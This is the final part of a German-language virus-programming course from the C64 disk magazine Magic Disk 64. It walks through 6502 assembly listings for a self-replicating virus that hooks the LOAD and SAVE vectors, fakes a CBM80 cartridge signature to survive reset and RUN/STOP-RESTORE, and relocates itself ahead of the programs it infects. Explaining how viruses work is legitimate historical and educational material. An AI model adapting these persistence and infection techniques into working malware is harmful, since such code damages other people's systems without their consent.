Magic Disk 64

home to index to html: MD8812-KURS-VIRENPROGRAMMIERKURS_TEIL_6-6.1.html
Heute, im 6. und letzten Teil des Virenkurses  wollen
wir noch die bisher unbehandelten kleinen, aber nicht
unwichtigen Routinen besprechen,  die  unserem  Virus
das Leben im C64 ermöglichen.                        
Mittlerweile wissen wir  ja  schon,  wie  sich  unser
kleiner Freund vermehrt, nämlich mit Hilfe der  LOAD-
und SAVE-Vektoren, über die  er  sich  sozusagen  ins
System "reinhängt" und sich  somit  bei  einem  Lade-
oder Speichervorgang problemlos vor  ein  noch  nicht
infiziertes Programm hängen kann.                    
Nun wollen wir uns  mit  der  Initialisierungsroutine
beschäftigen, die z.B. die Aufgabe  hat,  eben  diese
Vektoren zu "verbiegen". Der aufmerksame  Leser  wird
sie sicher schon gefunden haben. Sie heißt  sinniger-
weise INIT und steht im Sourcelisting ab Zeile 2072: 
2072 -init      lda #01   ;Copyzähler                
2073 -          sta copy  ;initialisieren            
In diesen zwei Zeilen wird der Zähler für die  Anzahl
der bisher gemachten Kopien des Virus auf 1  gesetzt.
Dieser Zähler ist ein  einzelnes  Byte  im  Quelltext
(bei Zeile 2203), das jedesmal, wenn sich  der  Virus
erfolgreich kopiert hat um 1 erhöht wird. Nach  jeder
Kopie prüft die  Saveroutine  nämlich,  ob  sich  der
Virus schon acht mal kopiert  hat.  Sollte  dies  der
Fall sein, dann wird zu der  bereits  erwähnten  Gag-
routine verzweigt, die ab  Zeile  5060  steht.  Diese
Routine läßt erst eine kleine Spriteanimation  ablau-
fen und teilt dem verdutzten  C64-Besitzer  dann  die
Existenz des Virus mit. Hier ein Auszug aus der Save-
routine:                                             
2810 -          jsr savecont                         
2812 -          jsr saveerror                        
2820 -;                                              
2830 -          asl copy    ;copy linksrotieren      
2840 -          bcs gag     ;Carry gesetzt, dann Gag 
2850 -          rts         ;noch nicht 8 mal kopiert
Die Zeilen 2810 und 2812 kennen Sie ja noch  aus  der
letzten Ausgabe, deshalb erfolgt  hier  keine  Erklä-
rung. In Zeile 2830 wird der Inhalt der Speicherzelle
COPY nach links rotiert. Das heißt, daß der Startwert
(nämlich 1), den wir am  Anfang  von  INIT  hineinge-
schrieben hatten, solange weitergeschoben  wird,  bis
er ins Carryflag überläuft. Und da ein Byte acht  Bit
besitzt, muß acht mal rotiert  werden,  damit  dieser
Fall eintritt.                                       
Wenden wir uns nun wieder der INIT-Routine zu:       
2080 -init2    ldy #03     ;Zähler laden             
2090 -loop3    lda tab,y   ;Vektortabelle            
2100 -         sta $0330,y ;umkopieren               
2110 -         dey         ;Zähler herunterzählen    
2120 -         bpl loop3   ;Fertig?                  
2130 -;                                              
2140 -         ldy #08     ;Ja -> Zähler laden.      
2150 -loop4    lda cbm,y   ;Reset-Kennung            
2160 -         sta $8000,y ;umkopieren               
2170 -         dey         ;Zähler herunterzählen    
2180 -         bpl loop4   ;Fertig?                  
2190 -;                                              
2200 -         rts         ;Feritg!                  
Hier wird nun zweimal eine Tabelle weiterkopiert. Und
zwar nach dem selben Schema, nach dem  wir  auch  den
Filenamen in der LOAD-Routine umkopiert haben.       
In der ersten Schleife wird in die  Bytes  $0330  bis
$0333 geschrieben. Dies sind die Bytes der LOAD-  und
SAVE-Vektoren (Load=$0330, $0331; Save=$0332, $0333).
Sehen wir uns nun die Tabelle an, die umkopiert wird:
10070-tab      .wo load,save                         
Hier haben wir es wieder mit einem sog. Pseudo-Opcode
des Hypra-Ass Assemblers zu tun. Genau  wie  man  bei
dem Opcode ".eq" einer Konstanten einen Wert  zuweist
oder mit ".by 255" den Assembler dazu  veranlaßt,  an
diese Stelle den Wert 255 zu schreiben, so  wird  mit
dem ".wo" (wie WOrd, was eine Bezeichnung für ein 16-
Bit-Wort ist, sowie ".by"  die  Bezeichnung  für  ein
Byte zu 8 Bit ist) eine  Konstante  bzw.  in  unserem
Fall ein Label im LO/HI-Format hier abgelegt.        
Die zweite Schleife  der  INIT-Routine  ist  für  den
RESET-Schutz zuständig. In  der  RESET-Routine  fragt
das Betriebssystem die Speicherzellen $8004 bis $8008
ab, ob hier der ASCII-Code "CBM80" steht. Sollte dies
der Fall sein, so glaubt das Betriebssystem, daß  ein
Modul in den Expansion-Port gesteckt ist und es  wird
über den Vektor in  $8000/$8001  gesprungen,  anstatt
einen "normalen" Reset auszuführen.                  
Diese Tatsache machen  wir  uns  nun  zu  Nutze.  Wir
"simulieren" nämlich  ein  angestecktes  Modul  durch
diese Kennung. Das Betriebssystem glaubt nun, es wäre
ein Modul eingesteckt und springt über den Vektor  in
$8000/$8001, und damit genau in unsere eigene  Virus-
Resetroutine. Diese steht ab Programmzeile 930:      
930  -reset    stx $d016   ;Videocont. Steuerreg.2   
940  -         jsr $fda3   ;Interrupt vorbereiten    
950  -         jsr $fd50   ;RAM-Check                
960  -         jsr $fd15   ;Vektoren setzen          
970  -         jsr $ff5b   ;Video-Reset              
980  -         cli         ;IRQ zulassen             
990  -         jsr init2   ;Virus starten            
1000 -         jmp ($a000) ;BASIC-Kaltstart          
Diese Routine ist  fast  gänzlich  aus  dem  normalen
Betriebssystem übernommen.  Der  einzige  Unterschied
ist hier die Zeile 990.  Nachdem  das  Betriebssystem
alle Vektoren wieder in den Originalzustand  versetzt
hat, müssen wir hier wieder den Virus initialisieren.
Es wird hier nicht auf INIT gesprungen,  sondern  auf
INIT2, da ja der Zähler für die Anzahl der schon  ge-
machten Kopien nicht neu gesetzt werden soll.        
Vor einem RESET braucht sich unser Virus  also  nicht
mehr zu fürchten. Was ihm jetzt noch zustoßen könnte,
wäre ein Druck auf die RUN/STOP-RESTORE-Tasten.      
Diese Kombination haben wir aber schon  mit  abgefan-
gen, nämlich ebenfalls durch die  CBM80-Kennung.  Ist
diese vorhanden, so wird über den Vektor  $8002/$8003
gesprungen, der natürlich ebenfalls in  unser  Virus-
programm zeigt. Und zwar  auf  die  Routine,  die  ab
Zeile 840 im Quellisting steht:                      
840  -restore  jsr $fd15                             
850  -         jsr $fda3                             
860  -         jsr $e518                             
870  -         jsr init2                             
880  -         jmp ($a002)                           
Gleiches Spiel wie bei RESET, nur weniger  aufwendig,
da hier weniger passiert.                            
Es folgt nun die Tabelle, die in der INIT-Routine um-
kopiert wird:                                        
10050-cbm      .wo reset,restore                     
10060-         .tx "CBM80"                           
Jetzt möchte ich Ihnen noch die Funktion der Routinen
ganz am  Anfang  des  Sources  erklären.  Werfen  wir
einmal  einen  kleinen  Blick  auf  den  Beginn   des
Listings:                                            
140  -data     .by $15,$08,$0a,$00,$93               
150  -.tx "2071:md-virus!"                           
160  -.by 0,0,0                                      
170  -;********************************              
180  -copyup   lda $af                               
190  -         pha                                   
200  -         nop                                   
210  -         ldy #$08                              
220  -         stx $5f                               
230  -         sty $60                               
240  -         ldx #<(realend)                       
250  -         ldy #>(realend)                       
260  -         stx $5a                               
270  -         sty $5b                               
280  -         ldx #$f0                              
290  -         ldy #$cf                              
300  -         stx $58                               
310  -         sty $59                               
320  -         jsr $a3bf                             
330  -         jmp xxxx                              
Dies sind die ersten Bytes unseres  Virus,  die  auch
als allererstes an die Floppy geschickt werden,  wenn
unser kleiner Freund  sich  fortpflanzt.  Die  ersten
drei Zeilen stellen folgendes Basicprogramm dar:     
10 SYS2071:MD-VIRUS!                                 
Mit dem SYS-Befehl wird die  in  Zeile  180  folgende
COPYUP-Routine aufgerufen. Der Text  "MD-VIRUS!"  hat
nur eine kommentierende Wirkung. In jener COPYUP-Rou-
tine wird als erstes der Virus in  einen  Speicherbe-
reich kopiert, wo er etwas sicherer  aufgehoben  ist,
nämlich  in  den  Bereich  $cbaf  bis   $cff0.   Dies
geschieht mit Hilfe einer Routine aus dem  BASIC-ROM,
nämlich der Routine  MOVE.  Sie  wird  folgendermaßen
aufgerufen:                                          
$5f/$60 : Startadresse des zu kopierenden Blocks     
$5a/$5b : Endadresse des zu kopierenden Blocks       
$58/$59 : Neue Endadresse des zu kopierenden Blocks  
Startadresse: $a3bf                                  
Nachdem der Virus kopiert ist, muß dieser  das  infi-
zierte Programm wieder nach unten  kopieren,  nämlich
an den normalen Basic-Start  $0801.  Dies  macht  die
folgende Routine:                                    
350  -start    lda #$36                              
360  -         sta $01                               
370  -;                                              
371  -         ldx #00                               
372  -         ldy #08                               
373  -         stx lab5+1                            
374  -         sty lab5+2                            
380  -         ldx #<(realend)                       
390  -         ldy #>(realend)                       
400  -         stx $fb                               
410  -         sty $fc                               
420  -         ldx $ae                               
421  -         ldy $af                               
423  -         stx $f9                               
424  -         sty $fa                               
460  -;                                              
470  -         ldy #00                               
475  -         ldx #01                               
480  -loop8    lda ($fb),y                           
490  -lab5     sta $0801,x                           
500  -         inx                                   
510  -         bne lab4                              
520  -         inc lab5+2                            
530  -lab4     jsr inccount                          
540  -         bcc loop8                             
640  -;                                              
660  -         ldy lab5+2                            
670  -         stx $ae                               
680  -         sty $af                               
690  -         stx $2d                               
700  -         sty $2e                               
710  -;                                              
720  -         lda #$37                              
730  -         sta $01                               
740  -;                                              
750  -         jst init                              
760  -         jsr $a659                             
770  -         jmp $a7ae                             
Diese Aufgabe kann allerdings  nicht  mehr  von  MOVE
übernommen werden, da es auch sehr gut  möglich  sein
kann, daß das infizierte Programm bis unter  das  ROM
geht (ab $a000). Also  muß  dieses  ROM  weggeblendet
werden, und wir müssen mit einer eigenen Routine  ar-
beiten. Diese steht hier in den Zeilen 480 bis 540.  
Die folgenden Zeilen  haben  noch  die  Aufgabe,  die
Basic-Vektoren neu auszurichten (Anfang und Ende  des
Programms), da das Programm durch den Virus ja länger
wurde. In Zeile 720 bis 730 wird das Basic-ROM wieder
eingeblendet, nachdem es in den Zeilen  350  und  360
ausgeschaltet wurde. Anschließend wird noch INIT auf-
gerufen, um den Virus zu aktivieren.                 
In den Zeilen 760 bis 770 wird  dann  ein  RUN-Befehl
ausgeführt, der das Programm ganz normal startet.    
Der Programmierung des kleinen "Gags" soll hier keine
weitere Aufmerksamkeit geschenkt werden, da  dies  ja
nur ein Nebeneffekt des Virus ist. Seine  Programmie-
rung ist außerdem nicht sehr kompliziert, so  daß  es
jedem möglich sein  sollte,  diesen  Programmteil  zu
durchschauen.                                        
Nun sind wir also am Ende unseres  Virenkurses  ange-
langt. Ich hoffe, es hat Ihnen ein bißchen  Spaß  ge-
macht, der Arbeitsweise eines Virusprogramms  gedank-
lich zu folgen. Sicher ist Ihnen  aber  auch  einiges
über die  Funktionsweise  eines  Virusprogramms  klar
geworden. In diesem Sinne kann  ich  Ihnen  nur  noch
viel Glück im "Kampf" gegen andere,  nicht  so  harm-
lose Viren wie den MDV wünschen.                     
Sicher erinnern Sie sich noch an  unsere  Fragebogen-
aktion in der Magic Disk. Bei der  Auswertung  dieser
Aktion ist uns aufgefallen, daß es  immer  noch  sehr
viele C64-Besitzer gibt, die Anfänger auf dem  Gebiet
der Programmierung Ihres C64 sind.                   
Aus diesem Grund  haben  wir  uns  entschlossen,  die
Rubrik "Kurs" in den nächsten Ausgaben nicht mehr  so
fachbezogen zu gestalten, sondern zunächst einen über
mehrere Ausgaben  gehenden  Basic-Programmierkurs  zu
veröffentlichen.                                     
Damit kommen wir dem Wunsch vieler  Leser  nach,  die
zwar Programmieren lernen wollen, sich aber  scheuen,
den manchmal dichten Dschungel der  Fachliteratur  zu
durchwandern.                                        
An den Basickurs werden sich dann wieder mehr fachbe-
zogene Kurse anschließen. Mögliche Themen hierzu sind
künstliche Intelligenz, Maschinensprache, Grafik  und
und und. Schreiben Sie uns Ihre Wünsche und  Vorstel-
lungen, denn Magic Disk 64 ist und bleibt ein Magazin
von Lesern für Leser.                                
Valid HTML 4.0 Transitional Valid CSS!